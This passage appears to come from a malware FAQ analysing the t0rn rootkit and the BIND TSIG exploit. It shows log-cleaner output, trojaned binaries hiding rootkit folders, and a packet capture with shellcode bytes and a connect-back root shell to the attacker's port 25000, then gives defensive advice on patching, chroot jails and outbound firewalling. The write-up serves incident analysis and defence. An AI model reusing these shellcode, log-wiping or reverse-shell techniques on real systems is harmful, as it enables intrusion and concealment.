          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:984 errors:0 dropped:0 overruns:0 frame:0
          TX packets:910 errors:0 dropped:0 overruns:0 carrier:1
          collisions:1 txqueuelen:100 
          Interrupt:3 Base address:0x200 

Note that the trojaned ifconfig doesn't show the flag PROMISC, even though there is a sniffer running on the system.

[root@saturn /bin]#  cd /usr/src/.puta
[root@saturn .puta]# ./t0rnsb
* sauber by socked [07.27.97]
* Usage: t0rnsb 

[root@saturn .puta]# ./t0rnsb root

* sauber by socked [07.27.97]
*
* Cleaning logs.. This may take a bit depending on the size of the logs.
* Cleaning boot.log (236 lines)...0 lines removed!
* Cleaning cron (27 lines)...21 lines removed!
* Cleaning dmesg (73 lines)...5 lines removed!
* Cleaning htmlaccess.log (0 lines)...0 lines removed!
* Cleaning maillog (21 lines)...8 lines removed!
* Cleaning messages (1121 lines)...41 lines removed!
* Cleaning netconf.log (11 lines)...0 lines removed!
* Cleaning secure (44 lines)...0 lines removed!
* Cleaning sendmail.st (0 lines)...0 lines removed!
* Cleaning spooler (0 lines)...0 lines removed!
* Cleaning xferlog (0 lines)...0 lines removed!
* Alles sauber mein Meister !'Q%&@ 

The log cleaner used by the t0rnkit is t0rnsb. It deletes the lines that matches specified string from some system logs. Above we have the system logs that are affected by this tool.

Other ways of testing the rootkit are running trojaned ls, du and find. They will not show the rootkit files to the system administrator, as we can see below.

[root@saturn /bin]# ls -la /usr/src

drwxr-xr-x   5 root     root         4096 Apr  4 04:09 .
drwxr-xr-x  19 root     root         4096 Apr  4 20:44 ..
lrwxrwxrwx   1 root     root           12 Apr  4 20:43 linux -> linux-2.2.12
drwxr-xr-x   3 root     root         4096 Apr  4 20:43 linux-2.2.12
drwxr-xr-x   7 root     root         4096 Apr  4 20:45 redhat

Signature of the Attack

Following we have a TCPDUMP log of the TSIG exploit.

11:14:10.992237 mars.1024 > 10.0.0.3.domain:  276 TXT CHAOS)? 
version.bind. (30)
0x0000	 4500 003a 0000 0000 4011 66af 0a00 0002	E..:....@.f.....
0x0010	 0a00 0003 0400 0035 0026 c4af 0114 0000	.......5.&......
0x0020	 0001 0000 0000 0000 0776 6572 7369 6f6e	.........version
0x0030	 0462 696e 6400 0010 0003               	.bind.....

11:14:10.992677 10.0.0.3.domain > mars.1024:  276* 1/0/0 CHAOS) 
TXT[|domain]
0x0000	 4500 0058 0000 0000 4011 6691 0a00 0003	E..X....@.f.....
0x0010	 0a00 0002 0035 0400 0044 5d6d 0114 8480	.....5...D]m....
0x0020	 0001 0001 0000 0000 0776 6572 7369 6f6e	.........version
0x0030	 0462 696e 6400 0010 0003 0756 4552 5349	.bind......VERSI
0x0040	 4f4e 0442 494e 4400 0010 0003 0000 0000	ON.BIND.........
0x0050	 0006                                   	..

11:14:10.993072 mars.1024 > 10.0.0.3.domain:  276 inv_q+ [b2&3=0x980] 
(465)
0x0000	 4500 01ed 0001 0000 4011 64fb 0a00 0002	E.......@.d.....
0x0010	 0a00 0003 0400 0035 01d9 7613 0114 0980	.......5..v.....
0x0020	 0000 0001 0000 0000 3e41 4141 4141 4141	........>AAAAAAA
0x0030	 4141 4141 4141 4141 4141 4141 4141 4141	AAAAAAAAAAAAAAAA
0x0040	 4141 4141 4141 4141 4141 4141 4141 4141	AAAAAAAAAAAAAAAA
0x0050	 4141                                   	AA

11:14:10.994824 10.0.0.3.domain > mars.1024:  276 inv_q FormErr 
[0q][|domain]
0x0000	 4500 02ea 0001 0000 4011 63fe 0a00 0003	E.......@.c.....
0x0010	 0a00 0002 0035 0400 02d6 a677 0114 8981	.....5.....w....
0x0020	 0000 0001 0000 0000 3e41 4141 4141 4141	........>AAAAAAA
0x0030	 4141 4141 4141 4141 4141 4141 4141 4141	AAAAAAAAAAAAAAAA
0x0040	 4141 4141 4141 4141 4141 4141 4141 4141	AAAAAAAAAAAAAAAA
0x0050	 4141                                   	AA

11:14:10.995199 mars.1024 > 10.0.0.3.domain:  276 [1au][|domain]
0x0000	 4500 021a 0002 0000 4011 64cd 0a00 0002	E.......@.d.....
0x0010	 0a00 0003 0400 0035 0206 c975 0114 0000	.......5...u....
0x0020	 0001 0000 0000 0001 3c90 89e6 83c6 40c7	........<.....@.
0x0030	 0602 000b acc7 4604 97c4 47a0 31c0 8946	......F...G.1..F
0x0040	 0889 460c 31c0 8946 2840 8946 2440 8946	..F.1..F(@.F$@.F
0x0050	 208d                                   	..

11:14:10.996774 10.0.0.3.domain > mars.1024:  276[|domain]
0x0000	 4500 0231 0002 0000 4011 64b6 0a00 0003	E..1....@.d.....
0x0010	 0a00 0002 0035 0400 021d 0570 0114 8080	.....5.....p....
0x0020	 0001 0000 0000 0001 3c90 89e6 83c6 40c7	........<.....@.
0x0030	 0602 000b acc7 4604 97c4 47a0 31c0 8946	......F...G.1..F
0x0040	 0889 460c 31c0 8946 2840 8946 2440 8946	..F.1..F(@.F$@.F
0x0050	 208d                                   	..

As we can see on the traffic showed above, the exploit verifies what version of Bind is running on the system and the memory address to be used to inject the shellcode. With this information, it's not necessary to send any NOP codes (hex 90), as we have usually associated with buffer-overflows.

11:14:10.996822 10.0.0.3.1025 > mars.25000: S 4161969304:4161969304(0) 
win 32120  (DF)
0x0000	 4500 003c 0003 4000 4006 26b5 0a00 0003	E..<..@.@.&.....
0x0010	 0a00 0002 0401 61a8 f812 9c98 0000 0000	......a.........
0x0020	 a002 7d78 7cb5 0000 0204 05b4 0402 080a	..}x|...........
0x0030	 0000 3f80 0000 0000 0103 0300          	..?.........

11:14:10.997262 mars.25000 > 10.0.0.3.1025: S 116958572:116958572(0) 
ack 4161969305 win 16060  (DF)
0x0000	 4500 003c 0003 4000 4006 26b5 0a00 0002	E..<..@.@.&.....
0x0010	 0a00 0003 61a8 0401 06f8 a56c f812 9c99	....a......l....
0x0020	 a012 3ebc b46f 0000 0204 05b4 0402 080a	..>..o..........
0x0030	 0009 5a83 0000 3f80 0103 0300          	..Z...?.....

11:14:10.997553 10.0.0.3.1025 > mars.25000: . ack 1 win 32120 
 (DF)
0x0000	 4500 0034 0004 4000 4006 26bc 0a00 0003	E..4..@.@.&.....
0x0010	 0a00 0002 0401 61a8 f812 9c99 06f8 a56d	......a........m
0x0020	 8010 7d78 a478 0000 0101 080a 0000 3f80	..}x.x........?.
0x0030	 0009 5a83                              	..Z.

11:14:11.000279 mars.25000 > 10.0.0.3.1025: P 1:14(13) ack 1 win 16060 
 (DF)
0x0000	 4500 0041 0004 4000 4006 26af 0a00 0002	E..A..@.@.&.....
0x0010	 0a00 0003 61a8 0401 06f8 a56d f812 9c99	....a......m....
0x0020	 8018 3ebc cb3d 0000 0101 080a 0009 5a83	..>..=........Z.
0x0030	 0000 3f80 756e 616d 6520 2d61 3b20 6964	..?.uname.-a;.id
0x0040	 0a                                     	.

11:14:11.000626 10.0.0.3.1025 > mars.25000: . ack 14 win 32120 
 (DF)
0x0000	 4500 0034 0005 4000 4006 26bb 0a00 0003	E..4..@.@.&.....
0x0010	 0a00 0002 0401 61a8 f812 9c99 06f8 a57a	......a........z
0x0020	 8010 7d78 a46b 0000 0101 080a 0000 3f80	..}x.k........?.
0x0030	 0009 5a83                              	..Z.

11:14:11.074277 10.0.0.3.1025 > mars.25000: P 1:69(68) ack 14 win 32120 
 (DF)
0x0000	 4500 0078 0006 4000 4006 2676 0a00 0003	E..x..@.@.&v....
0x0010	 0a00 0002 0401 61a8 f812 9c99 06f8 a57a	......a........z
0x0020	 8018 7d78 f069 0000 0101 080a 0000 3f88	..}x.i........?.
0x0030	 0009 5a83 4c69 6e75 7820 7361 7475 726e	..Z.Linux.saturn
0x0040	 2032 2e32 2e31 322d 3230 2023 3120 4d6f	.2.2.12-20.#1.Mo
0x0050	 6e20                                   	n.

11:14:11.074355 mars.25000 > 10.0.0.3.1025: . ack 69 win 16060 
 (DF)
0x0000	 4500 0034 0005 4000 4006 26bb 0a00 0002	E..4..@.@.&.....
0x0010	 0a00 0003 61a8 0401 06f8 a57a f812 9cdd	....a......z....
0x0020	 8010 3ebc e2d4 0000 0101 080a 0009 5a8a	..>...........Z.
0x0030	 0000 3f88                              	..?.

11:14:11.077315 10.0.0.3.1025 > mars.25000: P 69:93(24) ack 14 win 
32120  (DF)
0x0000	 4500 004c 0007 4000 4006 26a1 0a00 0003	E..L..@.@.&.....
0x0010	 0a00 0002 0401 61a8 f812 9cdd 06f8 a57a	......a........z
0x0020	 8018 7d78 8868 0000 0101 080a 0000 3f88	..}x.h........?.
0x0030	 0009 5a8a 7569 643d 3028 726f 6f74 2920	..Z.uid=0(root).
0x0040	 6769 643d 3028 726f 6f74 290a          	gid=0(root).

11:14:11.086701 mars.25000 > 10.0.0.3.1025: . ack 93 win 16060 
 (DF)
0x0000	 4500 0034 0006 4000 4006 26ba 0a00 0002	E..4..@.@.&.....
0x0010	 0a00 0003 61a8 0401 06f8 a57a f812 9cf5	....a......z....
0x0020	 8010 3ebc e2ba 0000 0101 080a 0009 5a8c	..>...........Z.
0x0030	 0000 3f88                              	..?.

When the exploit runs, the compromised system connects on the attacker's machine at the port 25000/TCP. Now the intruder owns the system.

It's important to note that this exploit doesn't leave any signal of activity on the syslog, so the only way to detect it is using a Sniffer or an Intrusion Detection System, like Snort (http://www.snort.org).

It's really difficult to detect intruder's activities after the rootkit installation. The folders used by the t0rn rootkit are:

/usr/src/.puta
/usr/info/.t0rn

However, the only safe way of detecting such installed software is using a CD with trusted binaries (more details, please refer to Preparation on Incident Handling Process Section) and perform an external port scanning (more details, please refer to Identification on Incident Handling Process Section).

How to protect against it

Applying Patches and removing unnecessary Services

Definitely this is one of the most important issues that a System Administrator must address. Most of the attacks happen because the systems are not patched. Usually the System Administrators don't have time to correct the software bugs. There are times where the systems are so critical that it's almost impossible to stop the services due to a necessary reboot.

Another problem related to applying patches is that, sometimes, the systems might simply stop working after the installation. Of course, the ideal situation should be to apply the patches on test environments, but actually we know that this is not always possible.

There are several links on the Internet for the Administrator keep current with the latest security advisories. The main Linux distribution links, related to security, are listed here:

http:/distro.conectiva.com/seguranca/
http://www.slackware.com/lists/archive/list.php?l=slackware-security&y=2002
http://www.suse.com/us/support/security/index.html
http://www.linux-mandrake.com/en/security


And a few general security sites:

http://www.linuxsecurity.com
http://www.securityfocus.com
http://packetstormsecurity.com
http://www.iss.net/security_center/alerts/

Some distributions like Conectiva, Mandrake, Redhat have good tools for updating their systems, but by far the best approach for system update comes from the Debian project and its famous apt (a front end for Debian packages manipulation). With just two commands, it's possible to maintain the system up to date:

# apt-get update
# apt-get dist-upgrade

Before trying to update the system, run the apt-setup command to select sources where you will get updates.

# apt-setup

As we are using a Red Hat box, here we have the link to RedHat Security Alerts:

http://www.redhat.com/apps/support/errata/index.html

Once we download the RPM's, it's just a matter of typing:

# rpm -Fvh

Now that the system is updated, we need to disable all unnecessary services. If the system is a FTP Server it does not make sense to let other services active, like DNS in our scenario. Basically, we have two ways of disabling services on Linux boxes. We can edit the /etc/inetd.conf file or rename the /etc/rcX.d scripts.

When we want to disable a service controlled by the inet daemon, it's just a matter of editing the /etc/inetd.conf file and including a # character at the beginning of the line, just like the following example:

# telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

Then the daemon needs to be restarted, via the following command:

# kill -HUP

When a process is started via initialization files (rc scripts), we just need to rename the first character from "S" to any character, as in the following example:

# mv /etc/rc.d/rc3.d/S11portmap /etc/rc.d/rc3.d/s11portmap

On the above example, the portmap service will not be started during the boot process. To stop the active service without the need of a reboot, we can use the following command:

# /etc/rc.d/rc3.d/s11portmap stop

Using a chrooted environment

Services that listen on ports lower than 1024 must be run with a privileged user (usually root), because ordinary users cannot start daemons to listen at these ports. This is a security issue because if the software (daemon) has a bug and an attacker might run arbitrary commands, the break-in context will be at the root level.

To avoid such level of compromise one can create a "chroot jail" where the Service starts as root (to bind the low port) and then changes the context to a regular user, with no privileges on the system. The idea behind the chroot configuration is to avoid the entire system compromise, even if the daemon has a bug.

This idea can be expanded to services like DNS, FTP, WEB. Following, several links to configure chroot jails on some daemons:

Bind: http://www.tldp.org/HOWTO/Chroot-BIND-HOWTO.html
Apache: http://penguin.epfl.ch/chroot.html
WU-FTP: http://zeck.netliberte.org/Linux/lecture.php?fic=wuftp_chroot

Firewall configuration

A simple network topology modification could have avoided the rootkit installation. In our case, the installation of the rootkit on the saturn Linux box was quite easy because there was no Firewall protecting it. Of course Firewalls are not the only solution, but it helps a lot.

For example, we could deploy a firewall with iptables (for Kernel 2.4) or ipchains (for Kernel 2.2). In this configuration we would allow just the port 53/TCP (just in case we needed to allow zone transfers) and 53/UDP to our hypothetical DNS Server and, most important of all, don't allow any service to the Internet or any other network segment.

With this deployment, it wouldn't be possible to run the TSIG exploit, because the target system tries to connect to the 25000/TCP port of the intruder's machine. Even if we could run other exploits, it would be quite difficult to download any software (including rootkits) to the compromised systems.

We can see such network deployment in figure 4.

The conclusive idea here is that is very important to limit outgoing traffic, specially from the DMZ. This approach will difficult the upload of external software.


Figure 4- Firewall deployment to help avoid rootkit installations

< Previous Question | Back to Malware FAQ Home | Next Question >